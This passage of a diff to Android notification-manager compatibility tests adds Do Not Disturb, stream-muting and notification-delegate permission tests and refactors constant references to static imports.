+            assertExpectedDndState(INTERRUPTION_FILTER_PRIORITY);
+
+            NotificationManager.Policy consolidatedPolicy =
+                    mNotificationManager.getConsolidatedNotificationPolicy();
+
+            // reminders aren't allowed from rule1 overriding rule2
+            // (not allowed takes precedence over allowed)
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_REMINDERS) == 0);
+
+            // alarms aren't allowed from rule1
+            // (rule's custom zenPolicy overrides default policy)
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_ALARMS) == 0);
+
+            // system is allowed from rule1, media is allowed from rule2
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) != 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+
+            // other sounds aren't allowed (from default policy)
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_CALLS) == 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_MESSAGES) == 0);
+            assertTrue((consolidatedPolicy.priorityCategories & PRIORITY_CATEGORY_EVENTS) == 0);
+        } finally {
+            mNotificationManager.setInterruptionFilter(originalFilter);
+        }
+    }
+
     public void testPostPCanToggleAlarmsMediaSystemTest() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             return;
@@ -624,37 +841,31 @@
             // Post-P can toggle alarms, media, system
             // toggle on alarms, media, system:
             mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS
-                            | NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA
-                            | NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
+                    PRIORITY_CATEGORY_ALARMS
+                            | PRIORITY_CATEGORY_MEDIA
+                            | PRIORITY_CATEGORY_SYSTEM, 0, 0));
             NotificationManager.Policy policy = mNotificationManager.getNotificationPolicy();
-            assertTrue((policy.priorityCategories
-                    & NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS) != 0);
-            assertTrue((policy.priorityCategories
-                    & NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA) != 0);
-            assertTrue((policy.priorityCategories
-                    & NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM) != 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_ALARMS) != 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_MEDIA) != 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) != 0);
 
             // toggle off alarms, media, system
             mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
             policy = mNotificationManager.getNotificationPolicy();
-            assertTrue((policy.priorityCategories
-                    & NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS) == 0);
-            assertTrue((policy.priorityCategories &
-                    NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA) == 0);
-            assertTrue((policy.priorityCategories &
-                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM) == 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_ALARMS) == 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_MEDIA) == 0);
+            assertTrue((policy.priorityCategories & PRIORITY_CATEGORY_SYSTEM) == 0);
         }
     }
 
     public void testCreateChannelGroup() throws Exception {
         final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(ncg.getId());
         mNotificationManager.createNotificationChannelGroup(ncg);
         final NotificationChannel ungrouped =
-                new NotificationChannel(mId + "!", "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId + "!", "name", IMPORTANCE_DEFAULT);
         try {
             mNotificationManager.createNotificationChannel(channel);
             mNotificationManager.createNotificationChannel(ungrouped);
@@ -675,7 +886,7 @@
         ncg.setDescription("bananas");
         final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(ncg.getId());
 
         mNotificationManager.createNotificationChannelGroup(ncg);
@@ -695,7 +906,7 @@
         ncg.setDescription("bananas");
         final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(ncg2.getId());
 
         mNotificationManager.createNotificationChannelGroup(ncg);
@@ -724,7 +935,7 @@
     public void testDeleteChannelGroup() throws Exception {
         final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(ncg.getId());
         mNotificationManager.createNotificationChannelGroup(ncg);
         mNotificationManager.createNotificationChannel(channel);
@@ -737,7 +948,7 @@
 
     public void testCreateChannel() throws Exception {
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setDescription("bananas");
         channel.enableVibration(true);
         channel.setVibrationPattern(new long[] {5, 8, 2, 1});
@@ -758,7 +969,7 @@
 
     public void testCreateChannel_rename() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         mNotificationManager.createNotificationChannel(channel);
         channel.setName("new name");
         mNotificationManager.createNotificationChannel(channel);
@@ -779,7 +990,7 @@
                 new NotificationChannelGroup(newGroup, newGroup));
 
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(oldGroup);
         mNotificationManager.createNotificationChannel(channel);
 
@@ -801,7 +1012,7 @@
                 new NotificationChannelGroup(newGroup, newGroup));
 
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(oldGroup);
         mNotificationManager.createNotificationChannel(channel);
         channel.setGroup(newGroup);
@@ -814,10 +1025,10 @@
 
     public void testCreateSameChannelDoesNotUpdate() throws Exception {
         final NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         mNotificationManager.createNotificationChannel(channel);
         final NotificationChannel channelDupe =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+                new NotificationChannel(mId, "name", IMPORTANCE_HIGH);
         mNotificationManager.createNotificationChannel(channelDupe);
         final NotificationChannel createdChannel =
                 mNotificationManager.getNotificationChannel(mId);
@@ -826,10 +1037,10 @@
 
     public void testCreateChannelAlreadyExistsNoOp() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         mNotificationManager.createNotificationChannel(channel);
         NotificationChannel channelDupe =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_HIGH);
+                new NotificationChannel(mId, "name", IMPORTANCE_HIGH);
         mNotificationManager.createNotificationChannel(channelDupe);
         compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
     }
@@ -839,7 +1050,7 @@
         mNotificationManager.createNotificationChannelGroup(ncg);
         try {
             NotificationChannel channel =
-                    new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                    new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
             channel.setGroup(ncg.getId());
             mNotificationManager.createNotificationChannel(channel);
             compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
@@ -850,7 +1061,7 @@
 
     public void testCreateChannelWithBadGroup() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup("garbage");
         try {
             mNotificationManager.createNotificationChannel(channel);
@@ -860,7 +1071,7 @@
 
     public void testCreateChannelInvalidImportance() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_UNSPECIFIED);
+                new NotificationChannel(mId, "name", IMPORTANCE_UNSPECIFIED);
         try {
             mNotificationManager.createNotificationChannel(channel);
         } catch (IllegalArgumentException e) {
@@ -870,7 +1081,7 @@
 
     public void testDeleteChannel() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_LOW);
+                new NotificationChannel(mId, "name", IMPORTANCE_LOW);
         mNotificationManager.createNotificationChannel(channel);
         compareChannels(channel, mNotificationManager.getNotificationChannel(channel.getId()));
         mNotificationManager.deleteNotificationChannel(channel.getId());
@@ -888,16 +1099,16 @@
 
     public void testGetChannel() throws Exception {
         NotificationChannel channel1 =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         NotificationChannel channel2 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+                        UUID.randomUUID().toString(), "name2", IMPORTANCE_HIGH);
         NotificationChannel channel3 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+                        UUID.randomUUID().toString(), "name3", IMPORTANCE_LOW);
         NotificationChannel channel4 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+                        UUID.randomUUID().toString(), "name4", IMPORTANCE_MIN);
         mNotificationManager.createNotificationChannel(channel1);
         mNotificationManager.createNotificationChannel(channel2);
         mNotificationManager.createNotificationChannel(channel3);
@@ -915,16 +1126,16 @@
 
     public void testGetChannels() throws Exception {
         NotificationChannel channel1 =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         NotificationChannel channel2 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name2", NotificationManager.IMPORTANCE_HIGH);
+                        UUID.randomUUID().toString(), "name2", IMPORTANCE_HIGH);
         NotificationChannel channel3 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name3", NotificationManager.IMPORTANCE_LOW);
+                        UUID.randomUUID().toString(), "name3", IMPORTANCE_LOW);
         NotificationChannel channel4 =
                 new NotificationChannel(
-                        UUID.randomUUID().toString(), "name4", NotificationManager.IMPORTANCE_MIN);
+                        UUID.randomUUID().toString(), "name4", IMPORTANCE_MIN);
 
         Map<String, NotificationChannel> channelMap = new HashMap<>();
         channelMap.put(channel1.getId(), channel1);
@@ -957,10 +1168,10 @@
 
     public void testRecreateDeletedChannel() throws Exception {
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setShowBadge(true);
         NotificationChannel newChannel = new NotificationChannel(
-                channel.getId(), channel.getName(), NotificationManager.IMPORTANCE_HIGH);
+                channel.getId(), channel.getName(), IMPORTANCE_HIGH);
         mNotificationManager.createNotificationChannel(channel);
         mNotificationManager.deleteNotificationChannel(channel.getId());
 
@@ -1089,8 +1300,8 @@
         // turn on bubbles globally
         toggleBubbleSetting(true);
 
-        assertEquals(1, Settings.Secure.getInt(
-                mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BUBBLES));
+        assertEquals(1, Settings.Global.getInt(
+                mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
 
         toggleListenerAccess(TestNotificationListener.getId(),
                 InstrumentationRegistry.getInstrumentation(), true);
@@ -1240,8 +1451,7 @@
                 mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0,
                         SUPPRESSED_EFFECT_SCREEN_ON));
             }
-            mNotificationManager.setInterruptionFilter(
-                    NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+            mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
 
             final int notificationId = 1;
             // update notification
@@ -1292,7 +1502,7 @@
         NotificationListenerService.Ranking outRanking =
                 new NotificationListenerService.Ranking();
 
-        StatusBarNotification sbn = findPostedNotification(notificationId);
+        StatusBarNotification sbn = findPostedNotification(notificationId, false);
 
         // check that the key and channel ids are the same in the ranking as the posted notification
         for (String key : rankingMap.getOrderedKeys()) {
@@ -1318,7 +1528,7 @@
         mNotificationManager.cancelAll();
 
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_NONE);
+                new NotificationChannel(mId, "name", IMPORTANCE_NONE);
         mNotificationManager.createNotificationChannel(channel);
 
         int id = 1;
@@ -1343,7 +1553,7 @@
         group.setBlocked(true);
         mNotificationManager.createNotificationChannelGroup(group);
         NotificationChannel channel =
-                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setGroup(mId);
         mNotificationManager.createNotificationChannel(channel);
 
@@ -1467,12 +1677,12 @@
         }
     }
 
-    public void testMediaStyle_empty() throws Exception {
+    public void testMediaStyle_empty() {
         Notification.MediaStyle style = new Notification.MediaStyle();
         assertNotNull(style);
     }
 
-    public void testMediaStyle() throws Exception {
+    public void testMediaStyle() {
         mNotificationManager.cancelAll();
         final int id = 99;
         MediaSession session = new MediaSession(getContext(), "media");
@@ -1499,7 +1709,7 @@
         }
     }
 
-    public void testInboxStyle() throws Exception {
+    public void testInboxStyle() {
         final int id = 100;
 
         final Notification notification =
@@ -1523,7 +1733,7 @@
         }
     }
 
-    public void testBigTextStyle() throws Exception {
+    public void testBigTextStyle() {
         final int id = 101;
 
         final Notification notification =
@@ -1549,7 +1759,7 @@
         }
     }
 
-    public void testBigPictureStyle() throws Exception {
+    public void testBigPictureStyle() {
         final int id = 102;
 
         final Notification notification =
@@ -1564,10 +1774,10 @@
                                 Icon.createWithResource(getContext(), R.drawable.icon_blue),
                                 "a2", getPendingIntent()).build())
                         .setStyle(new Notification.BigPictureStyle()
-                        .setBigContentTitle("title")
-                        .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
-                        .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
-                        .setSummaryText("summary"))
+                                .setBigContentTitle("title")
+                                .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
+                                .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                                .setSummaryText("summary"))
                         .build();
         mNotificationManager.notify(id, notification);
 
@@ -1577,77 +1787,77 @@
     }
 
     public void testAutogrouping() throws Exception {
-        sendNotification(1, R.drawable.black);
-        sendNotification(2, R.drawable.blue);
-        sendNotification(3, R.drawable.yellow);
-        sendNotification(4, R.drawable.yellow);
+        sendNotification(801, R.drawable.black);
+        sendNotification(802, R.drawable.blue);
+        sendNotification(803, R.drawable.yellow);
+        sendNotification(804, R.drawable.yellow);
 
         assertNotificationCount(5);
         assertAllPostedNotificationsAutogrouped();
     }
 
     public void testAutogrouping_autogroupStaysUntilAllNotificationsCanceled() throws Exception {
-        sendNotification(1, R.drawable.black);
-        sendNotification(2, R.drawable.blue);
-        sendNotification(3, R.drawable.yellow);
-        sendNotification(4, R.drawable.yellow);
+        sendNotification(701, R.drawable.black);
+        sendNotification(702, R.drawable.blue);
+        sendNotification(703, R.drawable.yellow);
+        sendNotification(704, R.drawable.yellow);
 
         assertNotificationCount(5);
         assertAllPostedNotificationsAutogrouped();
 
         // Assert all notis stay in the same autogroup until all children are canceled
-        for (int i = 4; i > 1; i--) {
+        for (int i = 704; i > 701; i--) {
             cancelAndPoll(i);
-            assertNotificationCount(i);
+            assertNotificationCount(i - 700);
             assertAllPostedNotificationsAutogrouped();
         }
-        cancelAndPoll(1);
+        cancelAndPoll(701);
         assertNotificationCount(0);
     }
 
     public void testAutogrouping_autogroupStaysUntilAllNotificationsAddedToGroup()
             throws Exception {
         String newGroup = "new!";
-        sendNotification(1, R.drawable.black);
-        sendNotification(2, R.drawable.blue);
-        sendNotification(3, R.drawable.yellow);
-        sendNotification(4, R.drawable.yellow);
+        sendNotification(901, R.drawable.black);
+        sendNotification(902, R.drawable.blue);
+        sendNotification(903, R.drawable.yellow);
+        sendNotification(904, R.drawable.yellow);
 
         List<Integer> postedIds = new ArrayList<>();
-        postedIds.add(1);
-        postedIds.add(2);
-        postedIds.add(3);
-        postedIds.add(4);
+        postedIds.add(901);
+        postedIds.add(902);
+        postedIds.add(903);
+        postedIds.add(904);
 
         assertNotificationCount(5);
         assertAllPostedNotificationsAutogrouped();
 
         // Assert all notis stay in the same autogroup until all children are canceled
-        for (int i = 4; i > 1; i--) {
+        for (int i = 904; i > 901; i--) {
             sendNotification(i, newGroup, R.drawable.blue);
             postedIds.remove(postedIds.size() - 1);
             assertNotificationCount(5);
             assertOnlySomeNotificationsAutogrouped(postedIds);
         }
-        sendNotification(1, newGroup, R.drawable.blue);
+        sendNotification(901, newGroup, R.drawable.blue);
         assertNotificationCount(4); // no more autogroup summary
         postedIds.remove(0);
         assertOnlySomeNotificationsAutogrouped(postedIds);
     }
 
     public void testNewNotificationsAddedToAutogroup_ifOriginalNotificationsCanceled()
-        throws Exception {
+            throws Exception {
         String newGroup = "new!";
-        sendNotification(10, R.drawable.black);
-        sendNotification(20, R.drawable.blue);
-        sendNotification(30, R.drawable.yellow);
-        sendNotification(40, R.drawable.yellow);
+        sendNotification(910, R.drawable.black);
+        sendNotification(920, R.drawable.blue);
+        sendNotification(930, R.drawable.yellow);
+        sendNotification(940, R.drawable.yellow);
 
         List<Integer> postedIds = new ArrayList<>();
-        postedIds.add(10);
-        postedIds.add(20);
-        postedIds.add(30);
-        postedIds.add(40);
+        postedIds.add(910);
+        postedIds.add(920);
+        postedIds.add(930);
+        postedIds.add(940);
 
         assertNotificationCount(5);
         assertAllPostedNotificationsAutogrouped();
@@ -1667,8 +1877,8 @@
 
         // send a new non-grouped notification. since the autogroup summary still exists,
         // the notification should be added to it
-        sendNotification(50, R.drawable.blue);
-        postedIds.add(50);
+        sendNotification(950, R.drawable.blue);
+        postedIds.add(950);
         try {
             Thread.sleep(200);
         } catch (InterruptedException ex) {
@@ -1677,6 +1887,92 @@
         assertOnlySomeNotificationsAutogrouped(postedIds);
     }
 
+    public void testTotalSilenceOnlyMuteStreams() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+        try {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), true);
+
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+
+            mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+                    PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA, 0, 0));
+            AutomaticZenRule rule = createRule("test_total_silence", INTERRUPTION_FILTER_NONE);
+            String id = mNotificationManager.addAutomaticZenRule(rule);
+            mRuleIds.add(id);
+            Condition condition =
+                    new Condition(rule.getConditionId(), "summary", Condition.STATE_TRUE);
+            mNotificationManager.setAutomaticZenRuleState(id, condition);
+            mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+
+            // delay for streams to get into correct mute states
+            Thread.sleep(50);
+            assertTrue("Music (media) stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+            assertTrue("System stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+            assertTrue("Alarm stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+
+            // Test requires that the phone's default state has no channels that can bypass dnd
+            assertTrue("Ringer stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+        } finally {
+            mNotificationManager.setInterruptionFilter(originalFilter);
+        }
+    }
+
+    public void testAlarmsOnlyMuteStreams() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
+        try {
+            toggleNotificationPolicyAccess(mContext.getPackageName(),
+                    InstrumentationRegistry.getInstrumentation(), true);
+
+            // ensure volume is not muted/0 to start test
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+
+            mNotificationManager.setNotificationPolicy(new NotificationManager.Policy(
+                    PRIORITY_CATEGORY_ALARMS | PRIORITY_CATEGORY_MEDIA, 0, 0));
+            AutomaticZenRule rule = createRule("test_alarms", INTERRUPTION_FILTER_ALARMS);
+            String id = mNotificationManager.addAutomaticZenRule(rule);
+            mRuleIds.add(id);
+            Condition condition =
+                    new Condition(rule.getConditionId(), "summary", Condition.STATE_TRUE);
+            mNotificationManager.setAutomaticZenRuleState(id, condition);
+            mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
+
+            // delay for streams to get into correct mute states
+            Thread.sleep(50);
+            assertFalse("Music (media) stream should not be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+            assertTrue("System stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+            assertFalse("Alarm stream should not be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+
+            // Test requires that the phone's default state has no channels that can bypass dnd
+            assertTrue("Ringer stream should be muted",
+                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+        } finally {
+            mNotificationManager.setInterruptionFilter(originalFilter);
+        }
+    }
+
     public void testAddAutomaticZenRule_configActivity() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             return;
@@ -1813,7 +2109,6 @@
         assertExpectedDndState(INTERRUPTION_FILTER_ALL);
     }
 
-    @FlakyTest
     public void testSetAutomaticZenRuleState_multipleRules() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
             return;
@@ -1827,7 +2122,7 @@
         mRuleIds.add(id);
 
         AutomaticZenRule secondRuleToCreate = createRule("Rule 2");
-        secondRuleToCreate.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
+        secondRuleToCreate.setInterruptionFilter(INTERRUPTION_FILTER_NONE);
         String secondId = mNotificationManager.addAutomaticZenRule(secondRuleToCreate);
         mRuleIds.add(secondId);
 
@@ -1932,7 +2227,7 @@
                         .build();
         mNotificationManager.notify(id, notification);
 
-        StatusBarNotification n = findPostedNotification(id);
+        StatusBarNotification n = findPostedNotification(id, false);
         assertNotNull(n);
         assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
     }
@@ -1986,7 +2281,74 @@
                 .build();
         mNotificationManager.notifyAsPackage(DELEGATOR, "tag", 0, n);
 
-        findPostedNotification(0);
+        assertNotNull(findPostedNotification(0, false));
+        final Intent revokeIntent = new Intent();
+        revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
+        revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(revokeIntent);
+        Thread.sleep(1000);
+    }
+
+    public void testNotificationDelegate_grantAndPostAndCancel() throws Exception {
+        // grant this test permission to post
+        final Intent activityIntent = new Intent();
+        activityIntent.setPackage(DELEGATOR);
+        activityIntent.setAction(Intent.ACTION_MAIN);
+        activityIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+        // wait for the activity to launch and finish
+        mContext.startActivity(activityIntent);
+        Thread.sleep(1000);
+
+        // send notification
+        Notification n = new Notification.Builder(mContext, "channel")
+                .setSmallIcon(android.R.id.icon)
+                .build();
+        mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
+        assertNotNull(findPostedNotification(10000, false));
+        mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
+        assertTrue(isNotificationCancelled(10000, false));
+        final Intent revokeIntent = new Intent();
+        revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
+        revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(revokeIntent);
+        Thread.sleep(1000);
+    }
+
+    public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
+            throws Exception {
+        if (mActivityManager.isLowRamDevice() && !mPackageManager.hasSystemFeature(FEATURE_WATCH)) {
+            return;
+        }
+
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        // grant this test permission to post
+        final Intent activityIntent = new Intent();
+        activityIntent.setClassName(DELEGATOR, DELEGATE_POST_CLASS);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+        mContext.startActivity(activityIntent);
+
+        Thread.sleep(1000);
+
+        assertNotNull(findPostedNotification(9, true));
+
+        try {
+            mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
+            fail ("Delegate should not be able to cancel notification they did not post");
+        } catch (SecurityException e) {
+            // yay
+        }
+
+        // double check that the notification does still exist
+        assertNotNull(findPostedNotification(9, true));
 
         final Intent revokeIntent = new Intent();
         revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
@@ -2105,7 +2467,7 @@
                         .build();
         mNotificationManager.notify(id, notification);
 
-        StatusBarNotification n = findPostedNotification(id);
+        StatusBarNotification n = findPostedNotification(id, false);
         assertNotNull(n);
     }
 
@@ -2192,15 +2554,15 @@
 
         mListener = TestNotificationListener.getInstance();
         assertNotNull(mListener);
-        final int notificationId1 = 1;
-        final int notificationId2 = 2;
+        final int notificationId1 = 1003;
+        final int notificationId2 = 1004;
 
         sendNotification(notificationId1, R.drawable.black);
         sendNotification(notificationId2, R.drawable.black);
         Thread.sleep(500); // wait for notification listener to receive notification
 
-        StatusBarNotification sbn1 = findPostedNotification(notificationId1);
-        StatusBarNotification sbn2 = findPostedNotification(notificationId2);
+        StatusBarNotification sbn1 = findPostedNotification(notificationId1, false);
+        StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
         mListener.setNotificationsShown(new String[]{ sbn1.getKey() });
 
         toggleListenerAccess(TestNotificationListener.getId(),
@@ -2266,7 +2628,7 @@
         assertNotNull(mListener);
 
         NotificationChannel channel = new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT);
+                NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT);
         try {
             mListener.updateNotificationChannel(mContext.getPackageName(), UserHandle.CURRENT,
                     channel);
@@ -2288,15 +2650,15 @@
 
         mListener = TestNotificationListener.getInstance();
         assertNotNull(mListener);
-        final int notificationId1 = 1;
-        final int notificationId2 = 2;
+        final int notificationId1 = 1001;
+        final int notificationId2 = 1002;
 
         sendNotification(notificationId1, R.drawable.black);
         sendNotification(notificationId2, R.drawable.black);
         Thread.sleep(500); // wait for notification listener to receive notification
 
-        StatusBarNotification sbn1 = findPostedNotification(notificationId1);
-        StatusBarNotification sbn2 = findPostedNotification(notificationId2);
+        StatusBarNotification sbn1 = findPostedNotification(notificationId1, false);
+        StatusBarNotification sbn2 = findPostedNotification(notificationId2, false);
         StatusBarNotification[] notifs =
                 mListener.getActiveNotifications(new String[]{ sbn2.getKey(), sbn1.getKey() });
         assertEquals(sbn2.getKey(), notifs[0].getKey());
@@ -2338,12 +2700,12 @@
 
         mListener = TestNotificationListener.getInstance();
         assertNotNull(mListener);
-        final int notificationId = 1;
+        final int notificationId = 1006;
 
         sendNotification(notificationId, R.drawable.black);
         Thread.sleep(500); // wait for notification listener to receive notification
 
-        StatusBarNotification sbn = findPostedNotification(notificationId);
+        StatusBarNotification sbn = findPostedNotification(notificationId, false);
 
         mListener.cancelNotification(sbn.getPackageName(), sbn.getTag(), sbn.getId());
         if (mContext.getApplicationInfo().targetSdkVersion >= Build.VERSION_CODES.LOLLIPOP) {
@@ -2355,7 +2717,7 @@
             // Tested in LegacyNotificationManager20Test
             if (checkNotificationExistence(notificationId, /*shouldExist=*/ true)) {
                 fail("Notification should have been cancelled for targetSdk below L.  targetSdk="
-                    + mContext.getApplicationInfo().targetSdkVersion);
+                        + mContext.getApplicationInfo().targetSdkVersion);
             }
         }
 
@@ -2376,7 +2738,8 @@
                 lengthGreaterThanZero);
 
         String badNumberString = NotificationManager.Policy.priorityCategoriesToString(1234567);
